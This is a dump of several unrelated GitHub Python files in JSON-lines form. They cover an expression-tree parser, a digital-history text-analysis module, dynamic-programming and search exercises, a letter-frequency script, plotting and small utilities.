return NumberNode(e)\r\n elif(value == \"LPAREN\"):\r\n node = expr(-1)\r\n return node\r\n \r\n\r\ndef precedence(op):\r\n if(op in {\"PLUS\", \"MINUS\"}):\r\n return 0\r\n if(op in {\"TIMES\", \"DIVIDES\"}):\r\n return 1\r\n if(op == \"POWER\"):\r\n return 2\r\n else:\r\n return -1\r\n\r\ndef association(op):\r\n if(op in {\"PLUS\", \"MINUS\", \"TIMES\", \"DIVIDES\"}):\r\n return \"left\"\r\n if(op in {\"POWER\"}):\r\n return \"right\"\r\n\r\ndef build_tree(list1):\r\n global lexeme_list\r\n lexeme_list = list1\r\n return expr(-1)","repo_name":"nrbellman/MU_Calculator","sub_path":"files/Build_tree.py","file_name":"Build_tree.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"} +{"seq_id":"18675118205","text":"# dh.py\r\n#\r\n# digital history module from Turkel & MacEachern,\r\n# The Programming Historian (2007-08)\r\n#\r\n# contents:\r\n#\r\n# stopwords LIST\r\n# normalizeFrenchAccents(STRING) -> STRING\r\n# stripTags(HTML_STRING) -> TEXT_STRING\r\n# stripNonAlphaNum(TEXT_STRING) -> ALPHANUMERIC_STRING\r\n# webPageToText(URL_STRING) -> LOWERCASE_TEXT_STRING\r\n# removeStopwords(WORD_LIST, STOPWORD_LIST) -> WORD_LIST\r\n# wordListToFreqDict(WORD_LIST) -> DICTIONARY(WORD -> FREQUENCY)\r\n# sortFreqDict(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# reSortFreqDictAlpha(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# wrapStringInHTML(STRING, URL_STRING, STRING) -> HTML_STRING\r\n# keywordListToGoogleSearchLink(WORD_LIST, STRING) -> HTML_STRING\r\n# undecoratedHyperlink(URL_STRING, STRING) -> HTML_CSS_STRING\r\n# getNGrams(WORD_LIST, INTEGER) -> NGRAM_LIST\r\n# nGramsToKWICDict(NGRAM_LIST) -> DICTIONARY(KEYWORD_STRING -> KWIC_LIST)\r\n# prettyPrintKWIC(KWIC_LIST) -> STRING\r\n# defaultCSSDiv(STRING, STRING) -> HTML_CSS_STRING\r\n# scaledFontSizeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontShadeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontHeatmapSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# getFileNames(STRING) -> LIST\r\n# localWebPageToText(HTML_STRING) -> STRING\r\n# replaceStopwords(WORD_LIST, STOPWORD_LIST, STRING) -> WORD_LIST\r\n\r\nstopwords = ['a', 'about', 'above', 'across', 'after', 'afterwards']\r\nstopwords += ['again', 'against', 'all', 'almost', 'alone', 'along']\r\nstopwords += ['already', 'also', 'although', 'always', 'am', 'among']\r\nstopwords += ['amongst', 'amoungst', 'amount', 'an', 'and', 'another']\r\nstopwords += ['any', 'anyhow', 'anyone', 'anything', 'anyway', 'anywhere']\r\nstopwords += ['are', 'around', 'as', 'at', 'back', 'be', 'became']\r\nstopwords += ['because', 'become', 'becomes', 'becoming', 'been']\r\nstopwords += ['before', 'beforehand', 'behind', 'being', 'below']\r\nstopwords += ['beside', 'besides', 'between', 'beyond', 'bill', 'both']\r\nstopwords += ['bottom', 'but', 'by', 'call', 'can', 'cannot', 'cant']\r\nstopwords += ['co', 'computer', 'con', 'could', 'couldnt', 'cry', 'de']\r\nstopwords += ['describe', 'detail', 'did', 'do', 'done', 'down', 'due']\r\nstopwords += ['during', 'each', 'eg', 'eight', 'either', 'eleven', 'else']\r\nstopwords += ['elsewhere', 'empty', 'enough', 'etc', 'even', 'ever']\r\nstopwords += ['every', 'everyone', 'everything', 'everywhere', 'except']\r\nstopwords += ['few', 'fifteen', 'fifty', 'fill', 'find', 'fire', 'first']\r\nstopwords += ['five', 'for', 'former', 'formerly', 'forty', 'found']\r\nstopwords += ['four', 'from', 'front', 'full', 'further', 'get', 'give']\r\nstopwords += ['go', 'had', 'has', 'hasnt', 'have', 'he', 'hence', 'her']\r\nstopwords += ['here', 'hereafter', 'hereby', 'herein', 'hereupon', 'hers']\r\nstopwords += ['herself', 'him', 'himself', 'his', 'how', 'however']\r\nstopwords += ['hundred', 'i', 'ie', 'if', 'in', 'inc', 'indeed']\r\nstopwords += ['interest', 'into', 'is', 'it', 'its', 'itself', 'keep']\r\nstopwords += ['last', 'latter', 'latterly', 'least', 'less', 'ltd', 'made']\r\nstopwords += ['many', 'may', 'me', 'meanwhile', 'might', 'mill', 'mine']\r\nstopwords += ['more', 'moreover', 'most', 'mostly', 'move', 'much']\r\nstopwords += ['must', 'my', 'myself', 'name', 'namely', 'neither', 'never']\r\nstopwords += ['nevertheless', 'next', 'nine', 'no', 'nobody', 'none']\r\nstopwords += ['noone', 'nor', 'not', 'nothing', 'now', 'nowhere', 'of']\r\nstopwords += ['off', 'often', 'on','once', 'one', 'only', 'onto', 'or']\r\nstopwords += ['other', 'others', 'otherwise', 'our', 'ours', 'ourselves']\r\nstopwords += ['out', 'over', 'own', 'part', 'per', 'perhaps', 'please']\r\nstopwords += ['put', 'rather', 're', 's', 'same', 'see', 'seem', 'seemed']\r\nstopwords += ['seeming', 'seems', 'serious', 'several', 'she', 'should']\r\nstopwords += ['show', 'side', 'since', 'sincere', 'six', 'sixty', 'so']\r\nstopwords += ['some', 'somehow', 'someone', 'something', 'sometime']\r\nstopwords += ['sometimes', 'somewhere', 'still', 'such', 'system', 'take']\r\nstopwords += ['ten', 'than', 'that', 'the', 'their', 'them', 'themselves']\r\nstopwords += ['then', 'thence', 'there', 'thereafter', 'thereby']\r\nstopwords += ['therefore', 'therein', 'thereupon', 'these', 'they']\r\nstopwords += ['thick', 'thin', 'third', 'this', 'those', 'though', 'three']\r\nstopwords += ['three', 'through', 'throughout', 'thru', 'thus', 'to']\r\nstopwords += ['together', 'too', 'top', 'toward', 'towards', 'twelve']\r\nstopwords += ['twenty', 'two', 'un', 'under', 'until', 'up', 'upon']\r\nstopwords += ['us', 'very', 'via', 'was', 'we', 'well', 'were', 'what']\r\nstopwords += ['whatever', 'when', 'whence', 'whenever', 'where']\r\nstopwords += ['whereafter', 'whereas', 'whereby', 'wherein', 'whereupon']\r\nstopwords += ['wherever', 'whether', 'which', 'while', 'whither', 'who']\r\nstopwords += ['whoever', 'whole', 'whom', 'whose', 'why', 'will', 'with']\r\nstopwords += ['within', 'without', 'would', 'yet', 'you', 'your']\r\nstopwords += ['yours', 'yourself', 'yourselves']\r\n\r\n# Given a string containing French accented characters\r\n# in Unicode or HTML, return normalized lowercase.\r\n\r\ndef normalizeFrenchAccents(str):\r\n newstr = unicode(str, 'utf-8').encode('latin-1', 'replace')\r\n newstr = newstr.lower()\r\n newstr = newstr.replace('’', '\\'')\r\n newstr = newstr.replace('\\xc0', '\\xe0') # a grave \r\n newstr = newstr.replace('à', '\\xe0') # a grave \r\n newstr = newstr.replace('\\xc2', '\\xe2') # a circumflex\r\n newstr = newstr.replace('â', '\\xe2') # a circumflex\r\n newstr = newstr.replace('\\xc4', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('ä', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('\\xc6', '\\xe6') # ae ligature\r\n newstr = newstr.replace('æ', '\\xe6') # ae ligature\r\n newstr = newstr.replace('\\xc8', '\\xe8') # e grave\r\n newstr = newstr.replace('è', '\\xe8') # e grave\r\n newstr = newstr.replace('\\xc9', '\\xe9') # e acute\r\n newstr = newstr.replace('é', '\\xe9') # e acute\r\n newstr = newstr.replace('\\xca', '\\xea') # e circumflex\r\n newstr = newstr.replace('ê', '\\xea') # e circumflex\r\n newstr = newstr.replace('\\xcb', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('ë', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('\\xce', '\\xee') # i circumflex\r\n newstr = newstr.replace('î', '\\xee') # i circumflex\r\n newstr = newstr.replace('\\xcf', '\\xef') # i diaeresis\r\n newstr = newstr.replace('ï', '\\xef') # i diaeresis\r\n newstr = newstr.replace('\\xd4', '\\xf4') # o circumflex\r\n newstr = newstr.replace('ô', '\\xf4') # o circumflex\r\n newstr = newstr.replace('œ', 'oe') # oe ligature\r\n newstr = newstr.replace('\\xd9', '\\xf9') # u grave\r\n newstr = newstr.replace('ù', '\\xf9') # u grave\r\n newstr = newstr.replace('\\xdb', '\\xfb') # u circumflex \r\n newstr = newstr.replace('û', '\\xfb') # u circumflex \r\n newstr = newstr.replace('\\xdc', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('ü', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('\\xc7', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ç', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ÿ', '\\xff') # y diaeresis\r\n return newstr\r\n\r\n# Given a string containing HTML, remove all characters\r\n# between matching pairs of angled brackets, inclusive.\r\n\r\ndef stripTags(html):\r\n inside = 0\r\n text = ''\r\n for char in html:\r\n if char == '<':\r\n inside = 1\r\n continue\r\n elif (inside == 1 and char == '>'):\r\n inside = 0\r\n continue\r\n elif inside == 1:\r\n continue\r\n else:\r\n text += char\r\n return text\r\n\r\n# Given a text string, remove all non-alphanumeric\r\n# characters (using Unicode definition of alphanumeric).\r\n\r\ndef stripNonAlphaNum(text):\r\n import re\r\n return re.compile(r'\\W+', re.UNICODE).split(text)\r\n\r\n# Given a URL, return string of lowercase text from page.\r\n\r\ndef webPageToText(url):\r\n import urllib2\r\n response = urllib2.urlopen(url)\r\n html = response.read()\r\n text = stripTags(html).replace(' ', ' ')\r\n return text.lower()\r\n\r\n# Given a list of words, remove any that are\r\n# in a list of stop words.\r\n\r\ndef removeStopwords(wordlist, stopwords):\r\n return [w for w in wordlist if w not in stopwords]\r\n\r\n# Given a list of words, return a dictionary of\r\n# word-frequency pairs.\r\n\r\ndef wordListToFreqDict(wordlist):\r\n wordfreq = [wordlist.count(p) for p in wordlist]\r\n return dict(zip(wordlist,wordfreq))\r\n\r\n# Sort a dictionary of word-frequency pairs in\r\n# order of descending frequency.\r\n\r\ndef sortFreqDict(freqdict):\r\n aux = [(freqdict[key], key) for key in freqdict]\r\n aux.sort()\r\n aux.reverse()\r\n return aux\r\n\r\n# Given a dictionary of frequency-word pairs sorted\r\n# in order of descending frequency, re-sort so it is\r\n# in alphabetical order by word.\r\n\r\ndef reSortFreqDictAlpha(sorteddict):\r\n import operator\r\n aux = [pair for pair in sorteddict]\r\n aux.sort(key=operator.itemgetter(1))\r\n return aux\r\n\r\n# Given name of calling program, a url and a string to wrap,\r\n# output string in HTML body with basic metadata\r\n# and open in Firefox tab.\r\n\r\ndef wrapStringInHTML(program, url, body):\r\n import datetime\r\n # from webbrowser import open_new_tab\r\n now = datetime.datetime.today().strftime(\"%Y%m%d-%H%M%S\")\r\n filename = program + '.html'\r\n f = open(filename,'w')\r\n wrapper = \"\"\"\r\n \r\n
URL: %s
%s
\r\n \"\"\"\r\n whole = wrapper % (program, now, url, url, body)\r\n f.write(whole)\r\n f.close() \r\n # open_new_tab(filename)\r\n\r\n# Given a list of keywords and a link name, return an\r\n# HTML link to a Google search for those terms.\r\n\r\ndef keywordListToGoogleSearchLink(keywords, linkname):\r\n url = 'http://www.google.com/search?q='\r\n url += '+'.join(keywords)\r\n gsearch = undecoratedHyperlink(url, linkname)\r\n return gsearch\r\n \r\n# Given a url and link name, return a string containing\r\n# HTML and inline CSS for an undecorated hyperlink.\r\n\r\ndef undecoratedHyperlink(url, linkname):\r\n astr = \"\"\"%s
\r\n \"\"\"\r\n return divstr % (opt, divbody)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size.\r\n\r\ndef scaledFontSizeSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n spanstr = '%s'\r\n return spanstr % (str(fontsize), body)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size and\r\n# darkness of greyscale adjusted.\r\n\r\ndef scaledFontShadeSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n fontcolor = int(200 - math.ceil(200 * scalingfactor))\r\n spanstr = \"\"\"%s\r\n \"\"\"\r\n return spanstr % (str(fontsize), fontcolor, fontcolor, fontcolor, body)\r\n\r\n# Given the body of a span and a scaling factor, return\r\n# string containing HTML span with scaled font size and\r\n# shading from cool blue to hot red.\r\n\r\ndef scaledFontHeatmapSpan(body, scalingfactor):\r\n import math\r\n minfont = 24\r\n maxfont = 54\r\n fontrange = maxfont - minfont\r\n fontsize = int(minfont + math.floor(fontrange * scalingfactor))\r\n fontcolor = int(250 - math.ceil(250 * scalingfactor))\r\n spanstr = \"\"\"%s\r\n \"\"\"\r\n return spanstr % (str(fontsize), 250-fontcolor, fontcolor, body)\r\n\r\n# Given a string containing the name of a directory\r\n# return a list of files in that directory\r\n\r\ndef getFileNames(dirname):\r\n import os\r\n dircommand = 'dir ' + dirname + ' /B'\r\n filelist = os.popen(dircommand).readlines()\r\n filelist = [x.rstrip() for x in filelist]\r\n return filelist\r\n\r\n# Given a local copy of a webpage, return string\r\n# of lowercase text from page.\r\n\r\ndef localWebPageToText(webpage): \r\n f = open(webpage, 'r')\r\n html = f.read()\r\n f.close()\r\n text = stripTags(html).replace(' ', ' ')\r\n return text.lower()\r\n\r\n# Given a list of words, replace any that are\r\n# stop words with a placeholder.\r\n\r\ndef replaceStopwords(wordlist, stopwords, placeholder = '#'):\r\n replacefunction = (lambda x: placeholder if x in stopwords else x)\r\n return map(replacefunction, wordlist)\r\n","repo_name":"williamjturkel/Programming-Historian-version-1","sub_path":"dh.py","file_name":"dh.py","file_ext":"py","file_size_in_byte":14075,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"24"}
+{"seq_id":"36916425155","text":"'''\r\nFinding the largest square submatrix that consists the ones only\r\n'''\r\n\r\n\r\ndef subMatrixOf1(mat):\r\n '''\r\n Dynamic algorithm: for finding the biggest k*k matrix of '1'\r\n First Method: using one help matrix,\r\n where help[i,j] is the size of a square submatrix consisting of ones,\r\n whose lower right corner of the submatrix is the cell with coordinates [i,j].\r\n Complexity: O(m*n)\r\n :param mat: matrix filled with 0,1\r\n :return: print the size of a square submatrix consisting of ones and the coordinates of a cell in the lower right corner of this submatrix\r\n '''\r\n # h - help matrix:\r\n h = [[0 for i in range(0, len(mat[0]))] for j in range(0, len(mat))]\r\n max_dim, i_max, j_max = 0, 0, 0\r\n # copy first row from mat:\r\n for j in range(len(mat[0])):\r\n if mat[0][j] == 1:\r\n max_dim = 1\r\n i_max = 0\r\n j_max = j\r\n h[0][j] = mat[0][j]\r\n\r\n # copy first column from mat:\r\n for i in range(len(mat)):\r\n if mat[i][0] == 1:\r\n max_dim = 1\r\n i_max = 0\r\n j_max = i\r\n h[i][0] = mat[i][0]\r\n\r\n for i in range(1, len(mat)):\r\n for j in range(1, len(mat[0])):\r\n if mat[i][j] != 0:\r\n h[i][j] = min3(h[i - 1][j - 1], h[i - 1][j], h[i][j - 1]) + 1\r\n if h[i][j] > max_dim:\r\n max_dim = h[i][j]\r\n i_max = i\r\n j_max = j\r\n\r\n print(\"Dynamic algorithm by using one help matrix:\\nMatrix:\")\r\n for row in mat:\r\n print(row)\r\n print(\"\\nHelp Matrix:\", )\r\n for row in h:\r\n print(row)\r\n print(\"max_dim:\", max_dim, \", i_max:\", i_max, \", j_max:\", j_max)\r\n\r\n\r\ndef min3(a, b, c):\r\n min = a\r\n if min > b:\r\n min = b\r\n if min > c:\r\n min = c\r\n return min\r\n\r\n\r\ndef subMatrixOf1_3Matrices(mat):\r\n '''\r\n Dynamic algorithm: for finding the biggest k*k matrix of '1'\r\n Second Method: using 3 help matrices:\r\n a first matrix represents the size of the ones sequence by rows,\r\n a second matrix represents the size of the ones sequence by columns,\r\n a third matrix represents the size of the ones square in each cell\r\n whose lower right corner of the submatrix is the cell with coordinates [i,j].\r\n Complexity: O(m*n)\r\n :param mat: matrix filled with 0,1\r\n :return: print the size of a square submatrix consisting of ones and the coordinates of a cell in the lower right corner of this submatrix\r\n '''\r\n rows, cols = len(mat), len(mat[0])\r\n max_dim, i_max, j_max = 0, 0, 0\r\n x = [[0 for i in range(cols)] for j in range(rows)]\r\n y = [[0 for i in range(cols)] for j in range(rows)]\r\n z = [[0 for i in range(cols)] for j in range(rows)]\r\n # fill first column of 3 matrix:\r\n for i in range(rows):\r\n x[i][0] = mat[i][0]\r\n y[i][0] = mat[i][0]\r\n z[i][0] = mat[i][0]\r\n # fill first row of 3 matrix:\r\n for j in range(cols):\r\n x[0][j] = mat[0][j]\r\n y[0][j] = mat[0][j]\r\n z[0][j] = mat[0][j]\r\n # fill 'rows' matrix:\r\n for i in range(1, rows):\r\n for j in range(1, cols):\r\n if mat[i][j] == 1:\r\n x[i][j] = x[i][j - 1] + 1\r\n # fill 'columns' matrix:\r\n for j in range(1, cols):\r\n for i in range(1, rows):\r\n if mat[i][j] == 1:\r\n y[i][j] = y[i - 1][j] + 1\r\n # fill 'answers' matrix:\r\n for i in range(1, rows):\r\n for j in range(1, cols):\r\n if mat[i][j] == 1:\r\n z[i][j] = min3(z[i - 1][j - 1] + 1, x[i][j], y[i][j])\r\n if z[i][j] > max_dim:\r\n max_dim = z[i][j]\r\n i_max = i\r\n j_max = j\r\n print(\"Dynamic algorithm by using three help matrices:\\nMatrix:\")\r\n for row in mat:\r\n print(row)\r\n print(\"\\nMatrix x:\", )\r\n for row in x:\r\n print(row)\r\n print(\"\\nMatrix y:\", )\r\n for row in y:\r\n print(row)\r\n print(\"\\nMatrix z:\", )\r\n for row in z:\r\n print(row)\r\n print(\"max_dim:\", max_dim, \", i_max:\", i_max, \", j_max:\", j_max)\r\n\r\n\r\n###################################################################################\r\nmat = [[1, 1, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 0], [0, 0, 1, 1, 0, 0]]\r\nsubMatrixOf1(mat)\r\nsubMatrixOf1_3Matrices(mat)\r\nmat1 = [[0, 0, 0, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 0, 1, 1]]\r\nsubMatrixOf1(mat1)\r\nsubMatrixOf1_3Matrices(mat1)\r\nmat2 = [[0, 0, 1, 0, 0], [1, 1, 1, 1, 0], [0, 1, 1, 1, 1], [1, 1, 1, 1, 0], [1, 1, 0, 0, 1]]\r\nsubMatrixOf1(mat2)\r\nsubMatrixOf1_3Matrices(mat2)\r\n","repo_name":"danieladina/Dynamic_planning_algorithm","sub_path":"SubMatrixOf_1.py","file_name":"SubMatrixOf_1.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"2496449553","text":"\nactual_position = dict()\nactual_score = dict()\npredicted_score = dict()\npredicted_position = dict()\n\nwith open('club_true_standings.txt', 'r') as standings_file:\n for line in standings_file:\n position, club_name, pts, _ = line.split()\n actual_position[club_name] = int(position)\n actual_score[club_name] = int(pts)\n\nwith open('predicted_scores.txt', 'r') as predictions_file:\n predict_standings = []\n for line in predictions_file:\n club_name, pts = line.split()\n predicted_score[club_name] = float(pts)\n predict_standings.append((pts, club_name))\n predict_standings = sorted(predict_standings, key=lambda x: x[0])\n predict_standings.reverse()\n for i in range(len(predict_standings)):\n predicted_position[predict_standings[i][1]] = i + 1\n\nsum_of_score_diff = 0\nquadratic_sum_of_score_diff = 0\nsum_of_position_diff = 0\nquadratic_sum_of_position_diff = 0\n\nfor club_name in actual_score.keys():\n sum_of_score_diff += abs(actual_score[club_name] - predicted_score[club_name])\n quadratic_sum_of_score_diff += abs(actual_score[club_name] - predicted_score[club_name]) ** 2\n sum_of_position_diff += abs(predicted_position[club_name] - actual_position[club_name])\n quadratic_sum_of_position_diff += abs(predicted_position[club_name] - actual_position[club_name]) ** 2\n\nprint(\"SUM OF SCORE DIFFIRENCE: {} AVERAGE SCORE DIFFERENCE: {}\".format(sum_of_score_diff, sum_of_score_diff / 20))\nprint(\"QUADRATIC SUM OF SCORE DIFFIRENCE: {} AVERAGE QUADRATIC SUM OF SCORE DIFFIRENCE: {}\".format(quadratic_sum_of_score_diff, quadratic_sum_of_score_diff / 20))\nprint(\"SUM OF POSITION DIFFIRENCE: {} AVERAGE POSITION DIFFERENCE: {}\".format(sum_of_position_diff, sum_of_position_diff / 20))\nprint(\"QUADRATIC SUM OF POSITION DIFFIRENCE: {} AVERAGE QUADRATIC SUM OF POSITION DIFFIRENCE: {}\".format(quadratic_sum_of_position_diff, quadratic_sum_of_position_diff / 20))\n","repo_name":"shaihitdin/optimistic-prediction","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"22456125720","text":"\nimport win32api\n\n\n\n\n#get Windows screen size\nWINDOWS_SIZE = (win32api.GetSystemMetrics(0),win32api.GetSystemMetrics(1))\n\nSERVER_IP = \"127.0.0.1\"\nSERVER_PORT = 8080\n\n#注册状态码 01\nSIGN_UP_STATE = \"01\"\n#登陆状态码 02 020 密码错误 021 账号错误\nSIGN_IN_STATE = \"02\"\n#添加好友状态码 03 成功返回03，失败返回030\nINSERT_FRIEND_STATE = \"03\"\n#聊天状态码 04 成功返回 04， 失败返回 040\nCHAT_STATE = \"04\"\n#删除好友状态码 05 成功返回05 , 失败返回050\nDEL_FRIEND_STATE = \"05\"\n\n","repo_name":"Tjuvenile/chat_room","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"5053412819","text":"# @File: Cipher.py\n# @Author: Robert Randolph\n# @Class: COSC 5010-01\n# @Assignment: Homework 05 Part 1\n# @Due: September 27, 2020\n# @Description:\n# Asks the user to insert a string\n# After sanatizing the string, it computes letter frequency of the given string.\n# After which it compares the letter frequency to the letter frequency of the english alphabet\n# It outputs any mismatch in frequency > 5%\n# @Asuumption: Output freqency is a literal differance of 5, not an actual 5% differance.\n# Example: A:8.12% and A:3.11% (These are seperated by 5.01 > 5 | so (A) is printed) - Not using 5% error/differance/space between them. Just calculating differance.\n\n# Imports\nimport re # Sanatizing string using regular expressions\nimport string\n\n# CONSTANTS\nLETTERS = list(string.ascii_lowercase)\nFREQUENCY = [8.12,1.49,2.71,4.32,12.02, # Letter Frequencyies found here: http://pi.math.cornell.edu/~mec/2003-2004/cryptography/subs/frequencies.html\n 2.3,2.03,5.92,7.31,0.1,\n 0.69,3.98,2.61,6.95,7.68,\n 1.82,0.11,6.02,6.28,9.1,\n 2.88,1.11,2.09,0.17,2.11,\n 0.07]\n\n# Driver\ndef main():\n # Init\n letters = dict() # Number of letters in string\n\n # Setting count to 0\n for l in LETTERS:\n letters[l] = 0\n\n # Asking for user to input a string\n value = input('Enter a large string of letters:\\n')\n\n # Sanitising string - and converting to lower case\n value = re.sub('[^A-Za-z]*', '', value)\n value = value.lower()\n\n # Counting letters\n for c in value:\n letters[c] += 1 # Incrimenting total number of specific letter\n\n # Calculating letter frequency in string\n n = len(value) # Total number of letters\n for l in letters:\n c = letters[l]\n letters[l] = c/n * 100 # Frequency\n\n # Comparing frequencies\n print('Missmatching frequencies over 5%:')\n index = 0\n missmatched = False\n for l in letters:\n # Getting frequencies\n F1 = letters[l]\n F2 = FREQUENCY[index]\n\n # Comparing\n r = abs(F1 - F2)\n\n # Checking if differance is over 5%\n if r > 5:\n missmatched = True\n print('Letter:',l,'| Calculated:',round(F1,4),'| Origional:',round(F2,4),'| Differance:',round(r,4))\n\n index += 1\n \n # Checking if any mismatches were found\n if not missmatched:\n print('No missmatching frequencies over 5%:')\n\n# Starting driver\nif __name__ == '__main__': main()","repo_name":"Wolf-Sensei/COSC5010_ComputerSecurity_Homework05_Part1","sub_path":"Cipher.py","file_name":"Cipher.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"74748918142","text":"import os\nimport torch\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\ndef Koopman_Eigenvalue(\n real_parts : torch.tensor,\n imaginary_parts : torch.tensor,\n magnitudes : torch.tensor,\n _index : int = 256,\n DPI : int = 400,\n save_image : bool= None,\n neural_net_name : str= None,\n dataset_parameters : str= None,\n save_dir : str = os.path.join('utils','Plot','Koopman_Eigenvalues')\n )->None:\n \n real_parts_cpu = real_parts.cpu().numpy()\n imaginary_parts_cpu = imaginary_parts.cpu().numpy()\n magnitudes_cpu = magnitudes.cpu().numpy()\n \n fig , ax = plt.subplots(1,figsize=(15,10) , dpi=DPI)\n \n sc = ax.scatter(real_parts_cpu[:_index], imaginary_parts_cpu[:_index], c=magnitudes_cpu[:_index], cmap='viridis', marker='o')\n plt.colorbar(sc, label=\"Magnitude\")\n \n ax.hlines(y=0,xmin=real_parts_cpu.min() ,xmax=real_parts_cpu.max() , color='black', linestyle='dashed')\n ax.vlines(x=0,ymin=imaginary_parts_cpu.min(),ymax=imaginary_parts_cpu.max() , color='black', linestyle='dashed')\n ax.set_xlabel('Real part ($\\mu$)')\n ax.set_ylabel('Imaginary part ($\\mu$)')\n ax.set_title(f\"neural net = {neural_net_name} dataset parameters ={dataset_parameters} index={_index}\")\n plt.grid(True)\n \n if save_image:\n plt.savefig(os.path.join(save_dir,f\"neural net = {neural_net_name} dataset parameters ={dataset_parameters} index={_index}.png\"), bbox_inches='tight')\n \n \n plt.show()","repo_name":"yriyazi/Koopman-Operator-and-Deep-Neural-Networks-ISAV2023","sub_path":"Utils/Plot/Koopman_Eigenvalue.py","file_name":"Koopman_Eigenvalue.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"41413817509","text":"def linear_search(arr, target):\n for i in range(len(arr)):\n if (arr[i] == target):\n return i\n\n return -1 # not found\n\n\n# Write an iterative implementation of Binary Search\ndef binary_search(arr, target):\n start = 0\n end = len(arr) - 1\n\n while start <= end:\n mid = round((start + end) // 2)\n if arr[mid] == target:\n return mid\n else:\n if arr[mid] > target:\n end = mid - 1\n else:\n start = mid + 1\n\n\n\n return -1 # not found\n","repo_name":"brennuck/Iterative-Sorting","sub_path":"src/searching/searching.py","file_name":"searching.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"20270261400","text":"def open_file(path):\n with open(path, 'r') as fin:\n return fin.readlines()\n\n\ndef make_list_from_string(string, separator=False, integer=False):\n result = []\n if separator:\n result = string.split(separator)\n else:\n result = string.split(' ')\n if integer:\n return [int(i) for i in result]\n else:\n return result\n\ndef remove_new_line_from_list_items(list_w_items):\n cleaned_list = []\n for i in list_w_items:\n cleaned_list.append(i.strip('\\n'))\n return cleaned_list\n","repo_name":"SickanEkman/Advent-of-code","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"8368961741","text":"n = int(input(\"請輸入查詢組數\"))\nlistinput = []\nlist1 = [\"123\",\"456\",\"789\",\"336\",\"775\",\"566\"]\nlist2 = [\"456\",\"789\",\"888\",\"558\",\"666\",\"221\"]\nlist3 = [9000,5000,6000,10000,12000,7000]\nfor i in range(0,n):\n listinput.append(input(\"帳號 密碼\").split(\" \"))\nfor k in range(0,n):\n if listinput[k][0] in list1 and listinput[k][1] in list2:\n for j in range(len(list1)):\n if listinput[k][0] == list1[j] and listinput[k][1] == list2[j]:\n print(list3[j])\n else:\n print(\"error\")","repo_name":"C110156224/python-homework","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"21545950862","text":"# 프로그래머스 코딩테스트 연습 > 2021 Dev Matching 상반기 > 행렬 테두리 회전하기\n# https://programmers.co.kr/learn/courses/30/lessons/77485\n\ndef solution(rows, columns, queries):\n answer = []\n board = [[(i+1) + ((j) * columns) for i in range(columns)] for j in range(rows)]\n \n for i in range(len(queries)):\n x1, y1, x2, y2 = queries[i][0] - 1, queries[i][1] - 1, queries[i][2] - 1, queries[i][3] - 1\n rotateList = []\n # x1 ~ x2 : 세로\n # y1 ~ y2 : 가로\n rotateList.insert(0)\n temp = board[x1][y1]\n for j in range(x1, x2):\n board[j][y1] = board[j+1][y1]\n rotateList.append(board[j+1][y1])\n \n for j in range(y1, y2):\n board[x2][j] = board[x2][j+1]\n rotateList.append(board[x2][j+1])\n \n for j in range(x2, x1, -1):\n board[j][y2] = board[j-1][y2]\n rotateList.append(board[j-1][y2])\n \n for j in range(y2, y1 + 1, -1):\n board[x1][j] = board[x1][j-1]\n rotateList.append(board[x1][j-1])\n \n board[x1][y1+1] = temp\n rotateList.append(temp)\n answer.append(min(rotateList))\n \n return 